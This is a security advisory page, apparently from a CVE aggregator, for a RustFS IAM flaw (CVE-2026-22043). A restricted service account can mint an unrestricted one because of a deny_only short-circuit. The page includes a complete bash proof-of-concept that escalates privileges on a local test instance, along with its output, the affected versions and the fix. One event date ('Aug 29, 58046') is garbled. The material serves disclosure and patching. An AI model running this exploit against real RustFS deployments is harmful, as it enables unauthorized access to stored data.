CVE-2026-22043: RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting

Published Jan 8, 2026
·
Updated

Summary

A flawed denyonly short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

Details

akin to MinIO CVE-2025-62506

- Policy evaluation: Policy::isallowed returns true when denyonly=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets denyonly=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/serviceaccount.rs:114-127). - Service accounts are created without sessionpolicy by default, so claims lack SESSIONPOLICYNAME; combined with denyonly, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

- crates/policy/src/policy/policy.rs (denyonly short-circuit) - rustfs/src/admin/handlers/serviceaccount.rs: (denyonly set for self/parent target) - crates/iam/src/sys.rs (service account creation defaults, no sessionpolicy)

PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:

bash #!/usr/bin/env bash set -euo pipefail

===================== Config ===================== ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}" ROOTAK="${ROOTAK:-rustfsadmin}" ROOTSK="${ROOTSK:-rustfsadmin}" PARENTAK="${PARENTAK:-restricted}" PARENTSK="${PARENTSK:-restricted123}" CHILDAK="${CHILDAK:-evilchild}" CHILDSK="${CHILDSK:-evilchild123}" AWSREGION="${AWSREGION:-us-east-1}"

Tools AWSCURLBIN="${AWSCURLBIN:-$HOME/Library/Python/3.13/bin/awscurl}" AWSBIN="${AWSBIN:-aws}" JQBIN="${JQBIN:-jq}"

Disable proxies for local endpoint export HTTPPROXY= export HTTPSPROXY= export NOPROXY=127.0.0.1,localhost

===================== Helpers ===================== awscmd() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" "$AWSBIN" --endpoint-url "$ENDPOINT" "$@" }

awscurladmin() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" \ "$AWSCURLBIN" --service s3 --region "$AWSREGION" --accesskey "$ak" --secretkey "$sk" "$@" }

timestampiso() { python - <<'PY' import datetime print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat()) PY }

===================== Cleanup ===================== echo "[+] cleanup service accounts (ignore errors)" for ak in "$CHILDAK" "$PARENTAK"; do awscurladmin "$ROOTAK" "$ROOTSK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true done

echo "[+] cleanup buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true done

===================== Setup ===================== echo "[+] create buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 mb "s3://$b" || true done

echo "[+] seed bucket3 with marker object" printf "poc-marker\n" | awscmd "$ROOTAK" "$ROOTSK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestampiso)"

echo "[+] create restricted policy" RESTRICTEDPOLICY='{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:ListBucket"], "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"] }, { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": ["arn:aws:s3:::bucket1/", "arn:aws:s3:::bucket2/"] } ] }'

echo "[+] create restricted service account" awscurladmin "$ROOTAK" "$ROOTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$PARENTAK" --arg sk "$PARENTSK" --arg policy "$RESTRICTEDPOLICY" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \ > /tmp/restrictedsa.json cat /tmp/restrictedsa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)" awscmd "$PARENTAK" "$PARENTSK" s3 ls

echo "[+] create child service account without policy (trigger denyonly)" awscurladmin "$PARENTAK" "$PARENTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$CHILDAK" --arg sk "$CHILDSK" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \ > /tmp/childsa.json cat /tmp/childsa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)" if awscmd "$CHILDAK" "$CHILDSK" s3 ls s3://bucket3; then echo "child list bucket3: SUCCESS (vuln)" else echo "child list bucket3: DENIED" fi

echo "[+] child tries to read marker from bucket3" if awscmd "$CHILDAK" "$CHILDSK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then echo "child read marker: SUCCESS (vuln). Content:" cat /tmp/poc-marker.txt else echo "child read marker: DENIED" fi

echo "[+] child tries to write new object into bucket3" if printf "child-write\n" | awscmd "$CHILDAK" "$CHILDSK" s3 cp - s3://bucket3/child-write.txt; then echo "child write: SUCCESS (vuln)" else echo "child write: DENIED" fi

PoC steps (in poc.sh):

1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt. 2) Create restricted policy (List/Get/Put only on bucket1/2). 3) Create restricted service account restricted/restricted123 with that policy. 4) With restricted, create child service account evilchild/evilchild123 without policy (denyonly short-circuit). 5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

text ./poc.sh [+] cleanup service accounts (ignore errors) [+] cleanup buckets [+] create buckets makebucket: bucket1 makebucket: bucket2 makebucket: bucket3 [+] seed bucket3 with marker object [+] create restricted policy [+] create restricted service account {"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] list buckets as restricted (expect bucket1,bucket2 only) 2025-12-16 18:51:16 bucket1 2025-12-16 18:51:16 bucket2 [+] create child service account without policy (trigger denyonly) {"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] child tries to list bucket3 (should be denied; success means vuln) 2025-12-16 18:51:17 11 poc-marker.txt child list bucket3: SUCCESS (vuln) [+] child tries to read marker from bucket3 download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt child read marker: SUCCESS (vuln). Content: poc-marker [+] child tries to write new object into bucket3 child write: SUCCESS (vuln)

Impact

Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.

Other sources

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 through 1.0.0-alpha.78, a flawed denyonly short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions. Version 1.0.0-alpha.79 fixes the issue.

MITRE

Affected Software

68 affected componentsFixes available
RustFS RustFS>=1.0.0-alpha.13<=1.0.0-alpha.78
rust/rustfs>=1.0.0-alpha.13<=1.0.0-alpha.78
1.0.0-alpha.79
RustFS Rustfs Rust=1.0.0-alpha13
RustFS Rustfs Rust=1.0.0-alpha14
RustFS Rustfs Rust=1.0.0-alpha15
RustFS Rustfs Rust=1.0.0-alpha16
RustFS Rustfs Rust=1.0.0-alpha17
RustFS Rustfs Rust=1.0.0-alpha18
RustFS Rustfs Rust=1.0.0-alpha19
RustFS Rustfs Rust=1.0.0-alpha20
RustFS Rustfs Rust=1.0.0-alpha21
RustFS Rustfs Rust=1.0.0-alpha22
RustFS Rustfs Rust=1.0.0-alpha23
RustFS Rustfs Rust=1.0.0-alpha24
RustFS Rustfs Rust=1.0.0-alpha25
RustFS Rustfs Rust=1.0.0-alpha26
RustFS Rustfs Rust=1.0.0-alpha27
RustFS Rustfs Rust=1.0.0-alpha28
RustFS Rustfs Rust=1.0.0-alpha29
RustFS Rustfs Rust=1.0.0-alpha30
RustFS Rustfs Rust=1.0.0-alpha31
RustFS Rustfs Rust=1.0.0-alpha32
RustFS Rustfs Rust=1.0.0-alpha33
RustFS Rustfs Rust=1.0.0-alpha34
RustFS Rustfs Rust=1.0.0-alpha35
RustFS Rustfs Rust=1.0.0-alpha36
RustFS Rustfs Rust=1.0.0-alpha37
RustFS Rustfs Rust=1.0.0-alpha38
RustFS Rustfs Rust=1.0.0-alpha39
RustFS Rustfs Rust=1.0.0-alpha40
RustFS Rustfs Rust=1.0.0-alpha41
RustFS Rustfs Rust=1.0.0-alpha42
RustFS Rustfs Rust=1.0.0-alpha43
RustFS Rustfs Rust=1.0.0-alpha44
RustFS Rustfs Rust=1.0.0-alpha45
RustFS Rustfs Rust=1.0.0-alpha46
RustFS Rustfs Rust=1.0.0-alpha47
RustFS Rustfs Rust=1.0.0-alpha48
RustFS Rustfs Rust=1.0.0-alpha49
RustFS Rustfs Rust=1.0.0-alpha50
RustFS Rustfs Rust=1.0.0-alpha51
RustFS Rustfs Rust=1.0.0-alpha52
RustFS Rustfs Rust=1.0.0-alpha53
RustFS Rustfs Rust=1.0.0-alpha54
RustFS Rustfs Rust=1.0.0-alpha55
RustFS Rustfs Rust=1.0.0-alpha56
RustFS Rustfs Rust=1.0.0-alpha57
RustFS Rustfs Rust=1.0.0-alpha58
RustFS Rustfs Rust=1.0.0-alpha59
RustFS Rustfs Rust=1.0.0-alpha60
RustFS Rustfs Rust=1.0.0-alpha61
RustFS Rustfs Rust=1.0.0-alpha62
RustFS Rustfs Rust=1.0.0-alpha63
RustFS Rustfs Rust=1.0.0-alpha64
RustFS Rustfs Rust=1.0.0-alpha65
RustFS Rustfs Rust=1.0.0-alpha66
RustFS Rustfs Rust=1.0.0-alpha67
RustFS Rustfs Rust=1.0.0-alpha68
RustFS Rustfs Rust=1.0.0-alpha69
RustFS Rustfs Rust=1.0.0-alpha70
RustFS Rustfs Rust=1.0.0-alpha71
RustFS Rustfs Rust=1.0.0-alpha72
RustFS Rustfs Rust=1.0.0-alpha73
RustFS Rustfs Rust=1.0.0-alpha74
RustFS Rustfs Rust=1.0.0-alpha75
RustFS Rustfs Rust=1.0.0-alpha76
RustFS Rustfs Rust=1.0.0-alpha77
RustFS Rustfs Rust=1.0.0-alpha78

Event History

Jan 8, 2026
CVE Published
via MITRE·03:03 PM
Data Sourced
via MITRE·03:03 PM
DescriptionWeakness
Data Sourced
via NVD·03:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:15 PM
Affected Software
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionWeaknessAffected Software
Aug 29, 58046
Event
via FIRST·06:38 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22043?

CVE-2026-22043 has a high severity due to its potential to allow unauthorized access through self-issued service accounts.

2

How do I fix CVE-2026-22043?

To mitigate CVE-2026-22043, upgrade RustFS to a version later than 1.0.0-alpha.78.

3

What versions of RustFS are affected by CVE-2026-22043?

CVE-2026-22043 affects RustFS versions from 1.0.0-alpha.13 to 1.0.0-alpha.78.

4

What is the main issue with CVE-2026-22043?

CVE-2026-22043 includes a flaw in the IAM system that allows restricted service accounts to gain unrestricted access.

5

Is there a patch available for CVE-2026-22043?

Yes, a patch is implemented in versions of RustFS released after 1.0.0-alpha.78.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203